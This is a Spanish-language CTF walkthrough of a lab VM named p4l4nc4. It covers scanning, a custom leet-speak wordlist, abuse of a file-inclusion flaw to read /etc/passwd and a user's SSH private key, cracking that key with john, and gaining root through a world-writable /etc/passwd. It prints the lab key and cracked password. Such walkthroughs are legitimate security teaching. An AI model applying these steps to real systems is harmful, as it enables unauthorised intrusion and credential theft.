Write-Up: p4l4nc4

Tabla de Contenido

Nmap Scan

```
# Nmap 7.94SVN scan initiated Tue Apr  1 19:01:24 2025 as: nmap -sCV -p22,80 -oN
target 192.168.21.6
Nmap scan report for 192.168.21.6
Host is up (0.00028s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 21:a5:80:4d:e9:b6:f0:db:71:4d:30:a0:69:3a:c5:0e (ECDSA)
|_  256 40:90:68:70:66:eb:f2:6c:f4:ca:f5:be:36:82:d0:72 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 08:00:27:E7:05:55 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
# Nmap done at Tue Apr  1 19:01:30 2025 -- 1 IP address (1 host up) scanned in
6.50 seconds
```

Busqueda de directorios

```
dirsearch -u http://192.168.21.6/
```

Resultados

```
```

```
# Dirsearch started Tue Apr  1 19:03:36 2025 as: /usr/bin/dirsearch -u
http://192.168.21.6

403   277B   http://192.168.21.6/.ht_wsr.txt
403   277B   http://192.168.21.6/.htaccess.bak1
403   277B   http://192.168.21.6/.htaccess.orig
403   277B   http://192.168.21.6/.htaccess.save
403   277B   http://192.168.21.6/.htaccessBAK
403   277B   http://192.168.21.6/.htaccessOLD
403   277B   http://192.168.21.6/.htaccess_extra
403   277B   http://192.168.21.6/.htaccess_sc
403   277B   http://192.168.21.6/.htaccess_orig
403   277B   http://192.168.21.6/.htaccess.sample
403   277B   http://192.168.21.6/.html
403   277B   http://192.168.21.6/.htm
403   277B   http://192.168.21.6/.httr-oauth
403   277B   http://192.168.21.6/.htpasswds
403   277B   http://192.168.21.6/.htpasswd_test
403   277B   http://192.168.21.6/.php
403   277B   http://192.168.21.6/.htaccessOLD2
200   755B   http://192.168.21.6/robots.txt
403   277B   http://192.168.21.6/server-status/
403   277B   http://192.168.21.6/server-status
```

Descargamos `robots.txt`

```
curl http://192.168.21.6/robots.txt
```

Creación de un Diccionario Personalizado

```
cewl http://192.168.21.6/robots.txt > robots.txt
```

Creamos un diccionario Leet 1337 para el archivo robots.txt con el siguiente script

```
#!/bin/bash

if [ "$#" -ne 1 ]; then
    echo "Usage: $0 dic.txt"
    exit 1
fi

file_input="$1"
file_output="1337_format.txt"

sed -e 's/a/4/g' \
    -e 's/e/3/g' \
    -e 's/i/1/g' \
    -e 's/l/1/g' \
    -e 's/o/0/g' \
    -e 's/s/5/g' \
    -e 's/t/7/g' \
    "$file_input" > temp_1337.txt

cat "$file_input" temp_1337.txt | tr '[:upper:]' '[:lower:]' | sort | uniq >
"$file_output"

rm temp_1337.txt

echo "saved to : $file_output"
```

Utilizamos el diccionario generado para buscar directorios adicionales:

```
dirsearch -u http://192.168.21.6/ --wordlists=1337_format.txt
```

```
# Dirsearch started Wed Apr  2 16:44:45 2025 as: /usr/bin/dirsearch -u
http://192.168.21.6/ --wordlists=1337_format.txt

301   312B   http://192.168.21.6/n3gr4    -> REDIRECTS TO:
http://192.168.21.6/n3gr4/
```

```
# Dirsearch started Wed Apr  2 16:45:30 2025 as: /usr/bin/dirsearch -u
http://192.168.21.6/n3gr4 --wordlists=1337_format.txt

301   312B   http://192.168.21.6/n3gr4/m414nj3.php    -> REDIRECTS TO:
http://192.168.21.6/n3gr4/m414nj3.php
```

Explotación de LFI (Local File Inclusion)

Hay una vulnerabilidad de inclusión de archivos locales (LFI) en el archivo `m414nj3.php`.

```
wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt -u
http://192.168.21.6/n3gr4/m414nj3.php?FUZZ=/etc/passwd --hh=0
```

Accedemos al archivo `/etc/passwd`:

```
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.21.6/n3gr4/m414nj3.php?FUZZ=/etc/passwd
Total requests: 951

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000589:   200        22 L     26 W       1065 Ch     "page"

Total time: 0
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 0
```

Vemos el contenido de `/etc/passwd` y vemos que esta el usuario `p4l4nc4`:

```
curl http://192.168.21.6/n3gr4/m414nj3.php?page=/etc/passwd
```

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
p4l4nc4:x:1000:1000:p4l4nc4,,,:/home/p4l4nc4:/bin/bash
```

Encontramos que estan las claves privadas de `p4l4nc4`:

```
curl http://192.168.21.6/n3gr4/m414nj3.php?page=/home/p4l4nc4/.ssh/id_rsa
```

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCvTRnNli
2HLc7wYB9S1mbCAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCrXZ98DYMr
n/f74/g82lqDkMHkyocXGXn8VaP/N7vD9j5mLSr1uhKGBbxcVm4uGP9k//mmRKlewRl/MZ
nTg0N8MP9vp0O2B9vrwHLz9JekTblv93/VCDpJS78CGkNNOVMRcv2ZB3w7uFm6zxRZxQmH
5HaRNuf795GQSFjybiqmN7Mu78bG/94aQMZZLALYmoyMCYWXGvvHpxRN1dwNsT7If4aNBE
l1HXVrZY1biDOrpJQ7O+eZpD4IKs5/QgKL6w9nBczVcGKkvyms98A5qTa/F43+1CxQE2ng
wPiejJEeJZ0PEkQu3nZTK1k7WpJzVnhpqbHGlwKWbfvMKh27Y2gpAAADwI6Nr+vLoXaEJy
SIRrVjIYFz/C3B17pmpx+lmupFfU6ruVHLE92gweyr9wAd5lxhKX1I6BClhlEoDWkzEBCT
H/4zg2tj84+hzhdVWUy6KaCVbRbuvJYWQNWY4kgfk/3FTnSJFHd+k8CZImN3Xa/9DRVLmg
jytzseFr83bPyOyGSze51kJX4r2ljurDvmcnXfQ4j27zUUmwEKi02VvjLngXbmMnIMDLI3
x/pdFxnyZ0w6wnl/Bg+2gvc54Y2ssMblNMw6HZU4K2TN/c3li3A3hLZsN7QwNIV76X5UeP
dWCOngRsImAmMtyxPKZ0rvYwgDimWunQPy0yJXEPdofL6hrAxFZ6y+jnm+gM7x1fnooSkb
9H5RblfwiOtuTD7bmAu6ApNU0Ul3X2YFPnDLFjo/D0Sj5LcsYDQ+XlTNUwnjHpyMy5VzUz
2vDpiscBd7FpFCHf1lS9bfGMLbhOfdM6TPzpjlOmdRizoVjGCZdXsA4Jg05FpvEFa3KHqM
iJOA9yXhHPROYmOwl5Mu+NTPc+Xbiu7B8TJu/BORoOShhbm7+kQpXM7XHPDKTTnJo+qmsI
Pt9FuQF3wZWIXZ48DmRKJKhB+a9LwuE8ES3wUTVqx/EbAs08V6/uiBYZmorJFSgbPd68AE
xKTK9ObilJKSfS2Ik5/iVIBTUxlAt2foAUpWTlXVNmFfBEhRSk48E8NhcgNqctKWpjKf0R
2gi/Dvpect4LoqKPue5zvN0dNlYSiq/6QK6NqJrJdN7DvsvocL+BcWmmv31erlJOo6A3Zw
CEpmnqVzMTroZSBQv3eEsOFS/+RkJ5ffFRpXGfWPh4Dn/Y++n3wbHNNb97pOd9WV+IlhDV
7btvga8cG9xp3zihOIf308VowcpIp0CSlEqZDBpis5jWY9J3N1+uh3pJHFgqmLxKnqLmzu
u15Kh/+nAV6DTBVxrdhq8HoLAvb7ubAq2ICHALC39X12+J0cLOUMi8UWYawMTFgYnO3ZBD
fb6fZaM9Hr97jREiUEG6vgIcNgn6jtJ3EM3ncxTKe2T8SSYn8pFy9Lqf+lvZ8yo9DkaPl5
ORSVWa+jCKhuClPZY5t8VJC9xXGyz8Wah15Y2pg95nGEub7dgmRlQAIiSxjWsDmaDzIBPo
IkZ5lzxoTvvtL2N1+4ZFprPwUN6y6C6zrXbzQp7Ov0bZc2g9fFiNxu1HvR96rwVNFHbeia
OJEM2NZSUU52PExgYtSXwO5aDy70oKiu0pbifoYOm19hlYwYWOOa6s+oW2FG+aXO8WIeEa
muaZDiXw==
-----END OPENSSH PRIVATE KEY-----
```

Crackeo de la Clave Privada SSH

Utilizamos `ssh2john` para convertir la clave privada en un formato compatible con `john` y luego se crackeó con el diccionario `rockyou.txt`:

```
ssh2john id_rsa > passwd
```

```
john passwd --wordlist=/usr/share/wordlists/rockyou.txt`
```

Encontramos la contraseña:

```
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
friendster       (id_rsa)
1g 0:00:00:12 DONE (2025-04-02 16:36) 0.07968g/s 50.99p/s 50.99c/s 50.99C/s
mariah..pebbles
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Acceso al Sistema mediante SSH

Entramos por ssh con la contraseña `friendster`

```
ssh p4l4nc4@192.168.21.6
```

User flag: `HMV{6cfb952777b95ded50a5be3a4ee9417af7e6dcd1}`

Escalada de privilegios

Encontramos que el archivo `/etc/passwd` tiene permisos de escritura para todos por lo que quitamos la contraseña a root:

```
-rw-rw-rw-  1 root root    1066 Nov 13 12:28 passwd
```

Ahora con `su -` somos root Root flag

```
HMV{4c3b9d0468240fbd4a9148c8559600fe2f9ad727}
```

Autor: Xavier Quintero Carrejo